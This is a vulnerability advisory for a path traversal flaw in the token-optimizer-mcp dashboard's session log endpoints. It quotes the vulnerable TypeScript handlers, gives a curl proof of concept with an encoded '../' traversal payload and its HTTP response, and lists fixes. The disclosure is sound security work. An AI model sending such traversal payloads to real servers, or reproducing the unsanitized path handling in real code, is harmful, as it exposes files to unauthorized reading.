Token Optimizer MCP: Unauthenticated Path Traversal in Dashboard Session Log API Endpoints

Unauthenticated Path Traversal in Dashboard Session Log API Endpoints

Summary

The dashboard HTTP server in token-optimizer-mcp exposes /api/session-summary and /api/session-events with no authentication middleware — any network-accessible client can reach them without credentials. Both handlers concatenate the caller-supplied sessionId query parameter directly into a filesystem path via path.join, and Node.js normalizes .. segments at resolution time, allowing an unauthenticated attacker to read any .jsonl file reachable from the server's filesystem. Successful reproduction confirmed exfiltration of a .jsonl file located outside the intended hooksDataPath directory with a single unauthenticated HTTP GET request.

Affected Code

src/server/web-server.ts:73–88 — /api/session-summary: unsanitized sessionId interpolated into path.join then passed to fs.readFileSync

    const hooksDataPath = getHooksDataPath();
    const jsonlFilePath = path.join(
      hooksDataPath,
      `session-log-${sessionId}.jsonl`
    );

    if (!fs.existsSync(jsonlFilePath)) {
      return res.status(404).json({
        success: false,
        error: `JSONL log not found for session ${sessionId}`,
        sessionId,
      });
    }

    // Parse JSONL file
    const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8');

src/server/web-server.ts:297–311 — /api/session-events: identical unsanitized path.join + fs.readFileSync pattern

    const hooksDataPath = getHooksDataPath();
    const jsonlFilePath = path.join(
      hooksDataPath,
      `session-log-${sessionId}.jsonl`
    );

    if (!fs.existsSync(jsonlFilePath)) {
      return res.status(404).json({
        success: false,
        error: `JSONL log not found for session ${sessionId}`,
      });
    }

    // Parse JSONL file
    const jsonlContent = fs.readFileSync(jsonlFilePath, 'utf-8');

req.query.sessionId flows unsanitized into path.join(hooksDataPath, \session-log-${sessionId}.jsonl`), which Node.js resolves by normalizing ..traversal sequences before thefs.readFileSync` call.

Proof of Concept

Step 1 — Send traversal payload to /api/session-events with no credentials: server returns HTTP 200 with contents of a .jsonl file outside hooksDataPath — proves unauthenticated out-of-bounds file read.

curl -s "http://127.0.0.1:3100/api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target"

GET /api/session-events?sessionId=abc%2F..%2F..%2F..%2F..%2Ftraversal-target HTTP/1.1
Host: 127.0.0.1:3100
User-Agent: python-requests/2.x
Accept: */*

HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: application/json; charset=utf-8
Content-Length: 186

{"success":true,"sessionId":"abc/../../../../traversal-target","total":1,"offset":0,"limit":100,"events":[{"type":"PATH_TRAVERSAL_EVIDENCE","secret":"sensitive-data-outside-hooks-dir"}]}

Impact

An unauthenticated remote attacker can read the contents of any .jsonl file accessible to the process running the dashboard server. In a typical deployment this includes all session log files (which contain tool invocations, hook outputs, and token usage data) as well as any other .jsonl file reachable via .. traversal from hooksDataPath. The constraint that the resolved path must end in .jsonl limits the attack surface to that file extension, but session logs can contain sensitive operational data. The same path traversal is present in both /api/session-summary and /api/session-events, and neither endpoint requires authentication.

Remediation

1. Validate sessionId format before use: reject any value that does not match a strict allowlist such as /^[a-zA-Z0-9_-]{1,64}$/. This prevents / and . characters from entering the path construction entirely.

   ts

   const SESSION_ID_RE = /^[a-zA-Z0-9_-]{1,64}$/;
   if (!SESSION_ID_RE.test(sessionId)) {
     return res.status(400).json({ success: false, error: 'Invalid sessionId' });
   }

2. Alternatively, apply path.basename to strip all directory components: path.basename(sessionId) reduces any traversal sequence to a bare filename before path.join.

3. Add authentication middleware to all /api/* routes so that even if a bypass is found the endpoints are not reachable without a valid session token.